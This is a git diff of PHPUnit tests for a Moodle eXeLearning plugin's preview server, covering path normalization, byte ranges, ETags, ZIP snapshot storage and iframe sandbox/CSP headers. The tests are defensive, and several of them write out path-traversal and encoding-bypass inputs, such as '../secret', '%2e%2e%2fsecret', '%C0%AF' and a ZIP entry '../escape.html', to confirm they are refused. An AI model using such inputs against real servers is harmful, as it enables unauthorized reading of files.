+     * percent-encoded), NUL bytes and malformed encoding.
+     */
+    public function test_normalize_content_path(): void {
+        $this->assertSame('index.html', serving::normalize_content_path(''));
+        $this->assertSame('foo/bar', serving::normalize_content_path('/foo/bar'));
+        $this->assertSame('foo/bar', serving::normalize_content_path('///foo/bar'));
+        $this->assertSame('b', serving::normalize_content_path('a/../b'));
+        $this->assertSame('c', serving::normalize_content_path('a/b/../../c'));
+        $this->assertSame('foo bar.png', serving::normalize_content_path('foo%20bar.png'));
+        $this->assertSame('index.html', serving::normalize_content_path('?x=1'));
+
+        $this->assertNull(serving::normalize_content_path('../secret'));
+        $this->assertNull(serving::normalize_content_path('%2e%2e%2fsecret'));
+        $this->assertNull(serving::normalize_content_path('..'));
+        $this->assertNull(serving::normalize_content_path("with\0nul"));
+        $this->assertNull(serving::normalize_content_path('bad%zz'));
+    }
+
+    /**
+     * Byte-for-byte parity with core: JS decodeURIComponent throws (=> null =>
+     * 404) on percent-sequences that decode to invalid UTF-8, so the PHP mirror
+     * must reject them too — an overlong '/', a lone continuation byte, and a
+     * lone surrogate — rather than passing the raw bytes through. Valid encoding
+     * (ASCII and multibyte) still resolves.
+     */
+    public function test_normalize_content_path_rejects_invalid_utf8(): void {
+        $this->assertNull(serving::normalize_content_path('%C0%AF'));
+        $this->assertNull(serving::normalize_content_path('a%C0%AFb'));
+        $this->assertNull(serving::normalize_content_path('%80'));
+        $this->assertNull(serving::normalize_content_path('%ED%A0%80'));
+
+        $this->assertSame('html/page-2.html', serving::normalize_content_path('html/page-2.html'));
+        $this->assertSame("resum\u{00e9}.html", serving::normalize_content_path('resum%C3%A9.html'));
+    }
+
+    /**
+     * The authless serving endpoint must suppress debug output: any notice or
+     * warning printed on a $CFG->debugdisplay-on site would prepend garbage to
+     * the byte-exact preview/asset body (and could defeat the headers/CSP
+     * contract). preview.php defines NO_DEBUG_DISPLAY before requiring config.
+     */
+    public function test_serving_endpoint_suppresses_debug_output(): void {
+        $source = file_get_contents(__DIR__ . '/../../../preview.php');
+        $this->assertNotFalse($source);
+        $definepos = strpos($source, "define('NO_DEBUG_DISPLAY', true);");
+        $requirepos = strpos($source, "require(__DIR__ . '/../../config.php');");
+        $this->assertNotFalse($definepos, 'preview.php must define NO_DEBUG_DISPLAY');
+        $this->assertNotFalse($requirepos);
+        $this->assertLessThan($requirepos, $definepos, 'NO_DEBUG_DISPLAY must be defined before config.php');
+    }
+
+    /**
+     * A single-range Range header parses to an inclusive window or a suffix
+     * window; a syntactically valid but unsatisfiable single range is the
+     * 'unsatisfiable' sentinel (416); no header, a malformed header, a multi-range
+     * set, or a non-"bytes" unit are all ignored (null ⇒ a normal 200 full body).
+     */
+    public function test_parse_range(): void {
+        $this->assertNull(serving::parse_range(null, 10));
+        $this->assertNull(serving::parse_range('', 10));
+        $this->assertSame(['start' => 2, 'end' => 4], serving::parse_range('bytes=2-4', 10));
+        $this->assertSame(['start' => 2, 'end' => 9], serving::parse_range('bytes=2-', 10));
+        $this->assertSame(['start' => 7, 'end' => 9], serving::parse_range('bytes=-3', 10));
+        $this->assertSame(['start' => 2, 'end' => 9], serving::parse_range('bytes=2-100', 10));
+
+        // Syntactically valid single ranges that cannot be satisfied → 416:
+        // first-byte-pos >= length, and a zero suffix.
+        $this->assertSame('unsatisfiable', serving::parse_range('bytes=99-', 10));
+        $this->assertSame('unsatisfiable', serving::parse_range('bytes=-0', 10));
+
+        // Ignored (served as full 200): non-"bytes" unit, multi-range, garbage,
+        // "bytes=-" (no bounds), and an inverted spec (last < first, RFC-invalid).
+        $this->assertNull(serving::parse_range('bytes=5-2', 10));
+        // Structural invalidity wins over satisfiability: an inverted spec whose
+        // first-byte-pos is ALSO beyond the body is ignored (200), never a 416.
+        $this->assertNull(serving::parse_range('bytes=15-2', 10));
+        $this->assertNull(serving::parse_range('bytes=-', 10));
+        $this->assertNull(serving::parse_range('kilobytes=1-2', 10));
+        $this->assertNull(serving::parse_range('bytes=0-1,3-4', 10));
+        $this->assertNull(serving::parse_range('bytes=abc', 10));
+        $this->assertNull(serving::parse_range('bytes=1-2-3', 10));
+    }
+
+    /**
+     * If-None-Match matches any listed (optionally weak) tag or the wildcard.
+     */
+    public function test_if_none_match_matches(): void {
+        $this->assertFalse(serving::if_none_match_matches(null, 'key'));
+        $this->assertTrue(serving::if_none_match_matches('"key"', 'key'));
+        $this->assertTrue(serving::if_none_match_matches('W/"key"', 'key'));
+        $this->assertTrue(serving::if_none_match_matches('*', 'key'));
+        $this->assertTrue(serving::if_none_match_matches('"x", "key"', 'key'));
+        $this->assertFalse(serving::if_none_match_matches('"other"', 'key'));
+    }
+
+    /**
+     * The 404 response carries base headers + no-store + a plain-text body and
+     * never a CSP.
+     */
+    public function test_not_found(): void {
+        $response = serving::not_found();
+        $this->assertSame(404, $response['status']);
+        $this->assertSame('no-store', $response['headers']['Cache-Control']);
+        $this->assertSame('nosniff', $response['headers']['X-Content-Type-Options']);
+        $this->assertSame('*', $response['headers']['Access-Control-Allow-Origin']);
+        $this->assertArrayNotHasKey('Content-Security-Policy', $response['headers']);
+        $this->assertSame('Not found', $response['body']);
+    }
+
+    /**
+     * The capability-path split flags the bare-root form ("/{previewId}" and
+     * "/{previewId}/") so the endpoint can redirect it, and otherwise returns the
+     * previewId + the relative path (a leading slash is optional).
+     */
+    public function test_parse_capability_path(): void {
+        $id = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000';
+
+        $bare = serving::parse_capability_path('/' . $id);
+        $this->assertSame($id, $bare['previewid']);
+        $this->assertSame('', $bare['relpath']);
+        $this->assertTrue($bare['bareroot']);
+        $this->assertFalse($bare['trailingslash']);
+
+        $bareslash = serving::parse_capability_path('/' . $id . '/');
+        $this->assertSame($id, $bareslash['previewid']);
+        $this->assertSame('', $bareslash['relpath']);
+        $this->assertTrue($bareslash['bareroot']);
+        $this->assertTrue($bareslash['trailingslash']);
+
+        $withpath = serving::parse_capability_path('/' . $id . '/html/page-2.html');
+        $this->assertSame($id, $withpath['previewid']);
+        $this->assertSame('html/page-2.html', $withpath['relpath']);
+        $this->assertFalse($withpath['bareroot']);
+        $this->assertFalse($withpath['trailingslash']);
+
+        // The leading slash is optional (get_file_argument may omit it).
+        $noslash = serving::parse_capability_path($id . '/index.html');
+        $this->assertSame($id, $noslash['previewid']);
+        $this->assertSame('index.html', $noslash['relpath']);
+        $this->assertFalse($noslash['bareroot']);
+    }
+
+    /**
+     * The bare-root Location is RELATIVE and resolves to the session's index.html
+     * against the request URL: "{previewId}/index.html" without a trailing slash,
+     * just "index.html" with one.
+     */
+    public function test_bare_root_location(): void {
+        $id = 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000';
+        $this->assertSame($id . '/index.html', serving::bare_root_location($id, false));
+        $this->assertSame('index.html', serving::bare_root_location($id, true));
+    }
+
+    /**
+     * The bare-root redirect is a 302 to index.html carrying the base hardening
+     * headers + no-store, and never a CSP.
+     */
+    public function test_redirect_to_index(): void {
+        $location = 'https://moodle.example/mod/exelearning/preview.php/'
+            . 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeffff0000/index.html';
+        $response = serving::redirect_to_index($location);
+        $this->assertSame(302, $response['status']);
+        $this->assertSame($location, $response['headers']['Location']);
+        $this->assertSame('no-store', $response['headers']['Cache-Control']);
+        $this->assertSame('nosniff', $response['headers']['X-Content-Type-Options']);
+        $this->assertSame('*', $response['headers']['Access-Control-Allow-Origin']);
+        $this->assertArrayNotHasKey('Content-Security-Policy', $response['headers']);
+        $this->assertSame('', $response['body']);
+    }
+
+    /**
+     * The serving endpoint wires the bare-root redirect: preview.php splits the
+     * capability path and, on the bare-root form, emits redirect_to_index rather
+     * than serving document bytes (the entry-point script is out of coverage
+     * scope, so this asserts the wiring at the source level, like the
+     * NO_DEBUG_DISPLAY check above).
+     */
+    public function test_serving_endpoint_redirects_bare_root(): void {
+        $source = file_get_contents(__DIR__ . '/../../../preview.php');
+        $this->assertNotFalse($source);
+        $this->assertStringContainsString('parse_capability_path', $source);
+        $this->assertStringContainsString("\$parsed['bareroot']", $source);
+        $this->assertStringContainsString('redirect_to_index', $source);
+    }
+
+    /**
+     * The editor bootstrap injects the previewSnapshot activation block pointing
+     * at this plugin's two endpoints, and gates it on the Playground so a
+     * preview-capable editor build fails closed there (editor/index.php is an
+     * entry-point script outside coverage scope, so this asserts the wiring at the
+     * source level, like the preview.php checks above).
+     *
+     * The block name matters: the editor reads previewSnapshot and ignores the
+     * previewHttp one this replaced, so a stale key leaves the opaque preview
+     * silently unreachable rather than broken.
+     */
+    public function test_editor_bootstrap_injects_preview_snapshot_config(): void {
+        $source = file_get_contents(__DIR__ . '/../../../editor/index.php');
+        $this->assertNotFalse($source);
+        $this->assertStringContainsString("'previewSnapshot'", $source);
+        $this->assertStringNotContainsString("'previewHttp'", $source);
+        $this->assertStringContainsString('/mod/exelearning/editor/preview_session.php', $source);
+        $this->assertStringContainsString('/mod/exelearning/preview.php', $source);
+        // The delete template must keep cmid and sesskey, which the client's
+        // default target would drop.
+        $this->assertStringContainsString("'deleteUrlTemplate'", $source);
+        $this->assertStringContainsString('{previewId}', $source);
+        // Fails closed under the Playground: the block is omitted there.
+        $this->assertStringContainsString('MOODLE_PLAYGROUND', $source);
+    }
+
+    /**
+     * The service-worker neutralization stub returns a faithful registration
+     * shape (non-empty scope + a no-op addEventListener), not a bare
+     * { scope: "" } that the editor's preview provider aborts on when it calls
+     * registration.addEventListener("updatefound", …).
+     */
+    public function test_editor_bootstrap_sw_stub_is_faithful(): void {
+        $source = file_get_contents(__DIR__ . '/../../../editor/index.php');
+        $this->assertNotFalse($source);
+        $this->assertStringContainsString('fakeSwRegistration', $source);
+        $this->assertStringContainsString('addEventListener: function() {}', $source);
+        // No register path resolves the bare stub that aborted the preview
+        // provider (the explanatory comment names the shape, so match the return).
+        $this->assertStringNotContainsString('Promise.resolve({ scope: "" })', $source);
+    }
+}
diff --git a/tests/local/preview/snapshot_store_test.php b/tests/local/preview/snapshot_store_test.php
new file mode 100644
index 0000000..2e4155f
--- /dev/null
+++ b/tests/local/preview/snapshot_store_test.php
@@ -0,0 +1,353 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+use advanced_testcase;
+use ZipArchive;
+
+/**
+ * Tests for the opaque preview snapshot store and its archive inspector.
+ *
+ * @package    mod_exelearning
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ * @covers     \mod_exelearning\local\preview\snapshot_store
+ * @covers     \mod_exelearning\local\preview\zip_inspector
+ * @covers     \mod_exelearning\local\preview\serving::serve
+ */
+final class snapshot_store_test extends advanced_testcase {
+    /** @var string Scratch storage root. */
+    private $root;
+
+    /** @var int Authoring user. */
+    private $userid = 42;
+
+    /** @var int Course module the snapshots belong to. */
+    private $cmid = 7;
+
+    /**
+     * Point the store at a scratch directory.
+     */
+    protected function setUp(): void {
+        parent::setUp();
+        $this->resetAfterTest();
+        $this->root = make_request_directory();
+        snapshot_store::set_root_for_testing($this->root);
+    }
+
+    /**
+     * Drop the overrides.
+     */
+    protected function tearDown(): void {
+        snapshot_store::reset_root_for_testing();
+        snapshot_store::reset_limits_for_testing();
+        parent::tearDown();
+    }
+
+    /**
+     * Build a ZIP from a path => contents map.
+     *
+     * @param array $entries Path => contents.
+     * @return string Pathname of the archive.
+     */
+    private function zip(array $entries): string {
+        $path = make_request_directory() . '/snapshot.zip';
+        $zip = new ZipArchive();
+        $zip->open($path, ZipArchive::CREATE);
+        foreach ($entries as $name => $contents) {
+            $zip->addFromString($name, $contents);
+        }
+        $zip->close();
+        return $path;
+    }
+
+    /**
+     * A snapshot round-trips: stored under a capability and served back.
+     */
+    public function test_replace_stores_the_snapshot(): void {
+        $result = snapshot_store::replace($this->userid, $this->cmid, $this->zip([
+            'index.html' => 'hello',
+            'assets/app.js' => 'run()',
+        ]));
+
+        $this->assertArrayHasKey('previewid', $result);
+        $dir = snapshot_store::get_content_dir($result['previewid']);
+        $this->assertNotNull($dir);
+        $this->assertSame('hello', file_get_contents($dir . '/index.html'));
+        $this->assertSame('run()', file_get_contents($dir . '/assets/app.js'));
+    }
+
+    /**
+     * Replacing swaps the tree wholesale: files gone from the new ZIP disappear.
+     */
+    public function test_replace_is_a_whole_tree_swap(): void {
+        $first = snapshot_store::replace($this->userid, $this->cmid, $this->zip([
+            'index.html' => 'first',
+            'stale.html' => 'gone next time',
+        ]));
+        $id = $first['previewid'];
+
+        $second = snapshot_store::replace(
+            $this->userid,
+            $this->cmid,
+            $this->zip(['index.html' => 'second']),
+            $id
+        );
+
+        $this->assertSame($id, $second['previewid']);
+        $dir = snapshot_store::get_content_dir($id);
+        $this->assertSame('second', file_get_contents($dir . '/index.html'));
+        $this->assertFileDoesNotExist($dir . '/stale.html');
+    }
+
+    /**
+     * A snapshot belongs to one user and one activity.
+     */
+    public function test_replace_refuses_another_owner_or_module(): void {
+        $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip(['index.html' => 'ok']))['previewid'];
+
+        $otheruser = snapshot_store::replace($this->userid + 1, $this->cmid, $this->zip(['index.html' => 'no']), $id);
+        $othercm = snapshot_store::replace($this->userid, $this->cmid + 1, $this->zip(['index.html' => 'no']), $id);
+
+        $this->assertSame('previewforbidden', $otheruser['error']);
+        $this->assertSame('previewforbidden', $othercm['error']);
+        $this->assertSame('ok', file_get_contents(snapshot_store::get_content_dir($id) . '/index.html'));
+    }
+
+    /**
+     * Replacing an unknown capability is refused rather than silently created.
+     */
+    public function test_replace_refuses_an_unknown_capability(): void {
+        $result = snapshot_store::replace(
+            $this->userid,
+            $this->cmid,
+            $this->zip(['index.html' => 'ok']),
+            'ffffffff-ffff-4fff-bfff-ffffffffffff'
+        );
+
+        $this->assertSame('missingpreview', $result['error']);
+    }
+
+    /**
+     * Both verbs share one verdict, so delete reports the same error codes
+     * publish does for the same conditions.
+     */
+    public function test_delete_reports_the_same_verdict_as_publish(): void {
+        $this->assertSame(
+            'missingpreview',
+            snapshot_store::delete_owned('11111111-2222-4333-8444-555555555555', $this->userid, $this->cmid)
+        );
+        $this->assertSame(
+            'invalidpreviewid',
+            snapshot_store::delete_owned('not-a-uuid', $this->userid, $this->cmid)
+        );
+    }
+
+    /**
+     * Delete is owner-scoped and makes the capability unresolvable.
+     */
+    public function test_delete_is_owner_scoped(): void {
+        $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip(['index.html' => 'ok']))['previewid'];
+
+        $this->assertSame(
+            'previewforbidden',
+            snapshot_store::delete_owned($id, $this->userid + 1, $this->cmid)
+        );
+        $this->assertNotNull(snapshot_store::get_content_dir($id));
+
+        $this->assertTrue(snapshot_store::delete_owned($id, $this->userid, $this->cmid));
+        $this->assertNull(snapshot_store::get_content_dir($id));
+    }
+
+    /**
+     * An idle snapshot expires, and the sweep reclaims it.
+     */
+    public function test_idle_snapshots_expire(): void {
+        $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip(['index.html' => 'ok']))['previewid'];
+        touch($this->root . '/' . $id . '/access', time() - snapshot_store::TTL_SECONDS - 60);
+
+        $this->assertNull(snapshot_store::get_content_dir($id));
+        $this->assertSame(1, snapshot_store::sweep_expired());
+        $this->assertDirectoryDoesNotExist($this->root . '/' . $id);
+    }
+
+    /**
+     * Serving a snapshot pushes its expiry back, so an in-use preview survives.
+     */
+    public function test_serving_refreshes_the_idle_clock(): void {
+        $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip(['index.html' => 'ok']))['previewid'];
+        $access = $this->root . '/' . $id . '/access';
+        touch($access, time() - snapshot_store::TTL_SECONDS + 120);
+
+        $this->assertNotNull(snapshot_store::get_content_dir($id));
+        $this->assertGreaterThan(time() - 5, filemtime($access));
+    }
+
+    /**
+     * An archive without index.html is not a preview.
+     */
+    public function test_archive_must_carry_an_index(): void {
+        $result = snapshot_store::replace($this->userid, $this->cmid, $this->zip(['page.html' => 'orphan']));
+
+        $this->assertSame('previewmissingindex', $result['error']);
+    }
+
+    /**
+     * Traversal escapes are refused before anything is written.
+     */
+    public function test_archive_paths_cannot_escape(): void {
+        $result = snapshot_store::replace($this->userid, $this->cmid, $this->zip([
+            'index.html' => 'ok',
+            '../escape.html' => 'nope',
+        ]));
+
+        $this->assertSame('invalidpreviewpath', $result['error']);
+        $this->assertFileDoesNotExist(dirname($this->root) . '/escape.html');
+    }
+
+    /**
+     * The entry-count and total-size guards both fail closed.
+     */
+    public function test_limits_are_enforced(): void {
+        snapshot_store::set_limits_for_testing(['maxfiles' => 1, 'maxbytes' => 1073741824]);
+        $toomany = snapshot_store::replace($this->userid, $this->cmid, $this->zip([
+            'index.html' => 'a',
+            'b.html' => 'b',
+        ]));
+        $this->assertSame('previewtoomanyfiles', $toomany['error']);
+
+        snapshot_store::set_limits_for_testing(['maxfiles' => 10000, 'maxbytes' => 8]);
+        $toobig = snapshot_store::replace($this->userid, $this->cmid, $this->zip([
+            'index.html' => str_repeat('x', 64),
+        ]));
+        $this->assertSame('previewtoolarge', $toobig['error']);
+    }
+
+    /**
+     * A rejected upload leaves no staging directory behind.
+     */
+    public function test_a_rejected_upload_leaves_nothing_behind(): void {
+        snapshot_store::replace($this->userid, $this->cmid, $this->zip(['page.html' => 'no index']));
+
+        $leftovers = array_filter(scandir($this->root), function ($entry) {
+            return strpos($entry, '.staging-') === 0;
+        });
+        $this->assertSame([], array_values($leftovers));
+    }
+
+    /**
+     * A non-positive configured limit falls back to the default: the guard
+     * cannot be switched off from the admin page.
+     */
+    public function test_limits_cannot_be_disabled(): void {
+        set_config('previewmaxbytes', 0, 'mod_exelearning');
+        set_config('previewmaxfiles', -1, 'mod_exelearning');
+
+        $limits = snapshot_store::limits();
+
+        $this->assertSame(snapshot_store::DEFAULT_MAX_BYTES, $limits['maxbytes']);
+        $this->assertSame(snapshot_store::DEFAULT_MAX_FILES, $limits['maxfiles']);
+    }
+
+    /**
+     * Serving resolves a file inside the snapshot, with the sandbox CSP on a
+     * scriptable document and no caching of it (it is rewritten every refresh).
+     */
+    public function test_serve_returns_a_document_with_the_sandbox_csp(): void {
+        $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip([
+            'index.html' => '<p>hi</p>',
+        ]))['previewid'];
+        $dir = snapshot_store::get_content_dir($id);
+
+        $response = serving::serve($dir, 'index.html', []);
+
+        $this->assertSame(200, $response['status']);
+        $this->assertSame('<p>hi</p>', $response['body']);
+        $this->assertStringContainsString('sandbox', $response['headers']['Content-Security-Policy']);
+        $this->assertSame('no-store', $response['headers']['Cache-Control']);
+    }
+
+    /**
+     * A non-scriptable file revalidates instead: ETag, 304 and Range, which is
+     * what makes a video inside the snapshot seekable.
+     */
+    public function test_serve_revalidates_and_ranges_an_asset(): void {
+        $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip([
+            'index.html' => 'x',
+            'a.txt' => '0123456789',
+        ]))['previewid'];
+        $dir = snapshot_store::get_content_dir($id);
+
+        $full = serving::serve($dir, 'a.txt', []);
+        $this->assertSame(200, $full['status']);
+        $this->assertArrayNotHasKey('Content-Security-Policy', $full['headers']);
+        $this->assertSame('bytes', $full['headers']['Accept-Ranges']);
+
+        $etag = trim($full['headers']['ETag'], '"');
+        $this->assertSame(304, serving::serve($dir, 'a.txt', ['ifnonematch' => '"' . $etag . '"'])['status']);
+
+        $partial = serving::serve($dir, 'a.txt', ['range' => 'bytes=2-4']);
+        $this->assertSame(206, $partial['status']);
+        $this->assertSame('234', $partial['body']);
+        $this->assertSame('bytes 2-4/10', $partial['headers']['Content-Range']);
+    }
+
+    /**
+     * The ETag is built from identity rather than from hashing the bytes, so it
+     * has to turn over on a refresh that mtime and size alone cannot see: two
+     * publishes inside the same second where the file keeps its length. Without
+     * the content directory's inode in the tag, this case hands the browser a
+     * 304 for the previous bytes.
+     */
+    public function test_serve_etag_turns_over_on_a_same_size_refresh(): void {
+        $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip([
+            'index.html' => 'x',
+            'style/main.css' => 'a{color:#111}',
+        ]))['previewid'];
+        $before = serving::serve(snapshot_store::get_content_dir($id), 'style/main.css', [])['headers']['ETag'];
+
+        // Same length, different bytes, published immediately after.
+        snapshot_store::replace($this->userid, $this->cmid, $this->zip([
+            'index.html' => 'x',
+            'style/main.css' => 'a{color:#222}',
+        ]), $id);
+        $dir = snapshot_store::get_content_dir($id);
+        $after = serving::serve($dir, 'style/main.css', []);
+
+        $this->assertNotSame($before, $after['headers']['ETag']);
+        $this->assertSame('a{color:#222}', $after['body']);
+        // The stale tag must not win a conditional request.
+        $this->assertSame(200, serving::serve($dir, 'style/main.css', ['ifnonematch' => $before])['status']);
+    }
+
+    /**
+     * A path that climbs out of the snapshot is a 404, not a file from the
+     * filesystem: the request is normalized AND the resolved path is confirmed
+     * to sit under the snapshot root.
+     */
+    public function test_serve_refuses_to_escape_the_snapshot(): void {
+        $id = snapshot_store::replace($this->userid, $this->cmid, $this->zip([
+            'index.html' => 'ok',
+        ]))['previewid'];
+        $dir = snapshot_store::get_content_dir($id);
+        file_put_contents(dirname($dir) . '/meta.json', 'secret');
+
+        foreach (['../meta.json', '..%2fmeta.json', 'sub/../../meta.json', 'missing.html'] as $attempt) {
+            $this->assertSame(404, serving::serve($dir, $attempt, [])['status'], $attempt);
+        }
+    }
+}
diff --git a/tests/local/scorm/scorm_injector_test.php b/tests/local/scorm/scorm_injector_test.php
index 9eae3f3..1b3658b 100644
--- a/tests/local/scorm/scorm_injector_test.php
+++ b/tests/local/scorm/scorm_injector_test.php
@@ -84,9 +84,14 @@ public function test_inject_rewrites_html_with_relative_paths_and_is_idempotent(
         $this->assertStringContainsString('<script src="libs/SCORM_API_wrapper.js"></script>', $index);
         $this->assertStringContainsString('pipwerks.SCORM.init()', $index);
 
+        // The external-embed shim is baked too (no host list: the parent relay gates).
+        $this->assertStringContainsString('<!-- mod_exelearning:embed-shim -->', $index);
+        $this->assertStringContainsString('<script src="libs/exe_embed_shim.js"></script>', $index);
+
         // Nested page: relative path climbs one level (../libs/...).
         $page = $fs->get_file($contextid, 'mod_exelearning', 'content', $revision, '/html/', 'page.html')->get_content();
         $this->assertStringContainsString('<script src="../libs/SCORM_API_wrapper.js"></script>', $page);
+        $this->assertStringContainsString('<script src="../libs/exe_embed_shim.js"></script>', $page);
 
         // Non-HTML asset is untouched.
         $css = $fs->get_file($contextid, 'mod_exelearning', 'content', $revision, '/css/', 'style.css')->get_content();
diff --git a/tests/player_iframe_test.php b/tests/player_iframe_test.php
new file mode 100644
index 0000000..edd3a09
--- /dev/null
+++ b/tests/player_iframe_test.php
@@ -0,0 +1,219 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning;
+
+use advanced_testcase;
+use mod_exelearning\local\ui\player_iframe;
+
+/**
+ * Tests for the package iframe security mode + sandbox policy (DEC-80-01).
+ *
+ * @package    mod_exelearning
+ * @category   test
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ * @covers     \mod_exelearning\local\ui\player_iframe
+ */
+final class player_iframe_test extends advanced_testcase {
+    /**
+     * The default (no config set) must be the secure, isolated mode.
+     */
+    public function test_default_mode_is_secure(): void {
+        $this->resetAfterTest();
+        $this->assertSame(player_iframe::MODE_SECURE, player_iframe::resolve_mode());
+        $this->assertTrue(player_iframe::is_secure());
+    }
+
+    /**
+     * An unset/invalid config must fail safe to secure, never weakening isolation.
+     */
+    public function test_invalid_mode_falls_back_to_secure(): void {
+        $this->resetAfterTest();
+        set_config('iframemode', 'not-a-real-mode', 'mod_exelearning');
+        $this->assertSame(player_iframe::MODE_SECURE, player_iframe::resolve_mode());
+        $this->assertTrue(player_iframe::is_secure());
+    }
+
+    /**
+     * Legacy mode was removed: a leftover iframemode=legacy config is ignored and the
+     * package still renders secure (no silent downgrade to same-origin).
+     */
+    public function test_legacy_config_is_ignored(): void {
+        $this->resetAfterTest();
+        set_config('iframemode', 'legacy', 'mod_exelearning');
+        $this->assertSame(player_iframe::MODE_SECURE, player_iframe::resolve_mode());
+        $this->assertTrue(player_iframe::is_secure());
+    }
+
+    /**
+     * The dev-only escape hatch defaults off: with no constant or env var set, the mode is secure.
+     */
+    public function test_unsafe_legacy_defaults_off(): void {
+        $this->assertFalse(player_iframe::is_unsafe_legacy());
+        $this->assertSame(player_iframe::MODE_SECURE, player_iframe::resolve_mode());
+    }
+
+    /**
+     * The dev-only EXELEARNING_UNSAFE_LEGACY_IFRAME escape hatch (here through its env var) switches
+     * to the same-origin legacy iframe and drops the CSP sandbox directive, so a service worker that
+     * only serves same-origin documents (the php-wasm Playground) can load the package CSS/JS. This
+     * path is never reachable from a Moodle setting.
+     */
+    public function test_unsafe_legacy_env_enables_same_origin(): void {
+        putenv('EXELEARNING_UNSAFE_LEGACY_IFRAME=1');
+        try {
+            $this->assertTrue(player_iframe::is_unsafe_legacy());
+            $this->assertSame(player_iframe::MODE_LEGACY, player_iframe::resolve_mode());
+            $this->assertFalse(player_iframe::is_secure());
+            $this->assertStringContainsString('allow-same-origin', player_iframe::sandbox_tokens());
+            $csp = player_iframe::content_security_policy('https://moodle.example.net');
+            $this->assertStringNotContainsString('sandbox', $csp);
+        } finally {
+            putenv('EXELEARNING_UNSAFE_LEGACY_IFRAME');
+        }
+    }
+
+    /**
+     * The package always runs in an opaque origin: the sandbox tokens MUST drop
+     * allow-same-origin and allow-popups-to-escape-sandbox, keep the scripts/popups/forms
+     * the iDevices need, and never grant top navigation or modals.
+     */
+    public function test_secure_sandbox_tokens(): void {
+        $tokens = player_iframe::sandbox_tokens();
+        $list = explode(' ', $tokens);
+
+        $this->assertContains('allow-scripts', $list);
+        $this->assertContains('allow-popups', $list);
+        $this->assertContains('allow-forms', $list);
+
+        $this->assertNotContains('allow-same-origin', $list);
+        $this->assertNotContains('allow-popups-to-escape-sandbox', $list);
+        $this->assertNotContains('allow-top-navigation', $list);
+        $this->assertNotContains('allow-top-navigation-by-user-activation', $list);
+        $this->assertNotContains('allow-modals', $list);
+    }
+
+    /**
+     * Permissions-Policy denies sensors/hardware but never fullscreen (the iframe
+     * grants it and iDevices use it).
+     */
+    public function test_permissions_policy(): void {
+        $pp = player_iframe::permissions_policy();
+        $this->assertStringContainsString('camera=()', $pp);
+        $this->assertStringContainsString('microphone=()', $pp);
+        $this->assertStringContainsString('geolocation=()', $pp);
+        $this->assertStringNotContainsString('fullscreen', $pp);
+    }
+
+    /**
+     * The CSP hardens object/base/framing and pins connect-src to this site (so the
+     * file token cannot be fetch-exfiltrated), while keeping the inline/eval scripts
+     * eXeLearning needs. The passed site origin must appear in the source lists.
+     */
+    public function test_content_security_policy(): void {
+        $origin = 'https://moodle.example.net';
+        $csp = player_iframe::content_security_policy($origin);
+
+        $this->assertStringContainsString("object-src 'none'", $csp);
+        $this->assertStringContainsString("base-uri 'none'", $csp);
+        $this->assertStringContainsString("frame-ancestors 'self'", $csp);
+        // A sandbox directive keeps the document opaque even when opened outside the
+        // iframe (e.g. the token URL opened in a new tab), so author JS cannot run as
+        // Moodle's origin. Tokens mirror the secure iframe sandbox.
+        $this->assertStringContainsString('sandbox allow-scripts allow-popups allow-forms', $csp);
+        $this->assertStringContainsString("connect-src 'self' $origin;", $csp);
+        // Inline + eval'd scripts are required by the eXeLearning engine.
+        $this->assertStringContainsString("'unsafe-inline'", $csp);
+        $this->assertStringContainsString("'unsafe-eval'", $csp);
+        // Strict (default): NO bare `https:` in ANY source list, so the per-user file token
+        // in the URL cannot be exfiltrated via img/script/media; only explicit origins like
+        // https://host (followed by //) are allowed. frame-src is limited to the providers.
+        $this->assertDoesNotMatchRegularExpression('~\bhttps:(?!//)~', $csp);
+        $this->assertStringContainsString('https://www.youtube-nocookie.com', $csp);
+        $this->assertStringContainsString('https://player.vimeo.com', $csp);
+    }
+
+    /**
+     * content_headers() emits Referrer-Policy + nosniff on every secure-mode file and adds
+     * the document-level CSP + Permissions-Policy for an HTML document, deriving the CSP
+     * origin from $CFG->wwwroot (path stripped). The package always renders secure.
+     */
+    public function test_content_headers(): void {
+        $this->resetAfterTest();
+
+        // Secure (default) + HTML document: all four headers, origin stripped from wwwroot.
+        $headers = player_iframe::content_headers('index.html', 'https://moodle.example.net/sub');
+        $this->assertArrayHasKey('Content-Security-Policy', $headers);
+        $this->assertArrayHasKey('Permissions-Policy', $headers);
+        $this->assertSame('no-referrer', $headers['Referrer-Policy']);
+        $this->assertSame('nosniff', $headers['X-Content-Type-Options']);
+        $this->assertStringContainsString("'self' https://moodle.example.net;", $headers['Content-Security-Policy']);
+        $this->assertStringNotContainsString('/sub', $headers['Content-Security-Policy']);
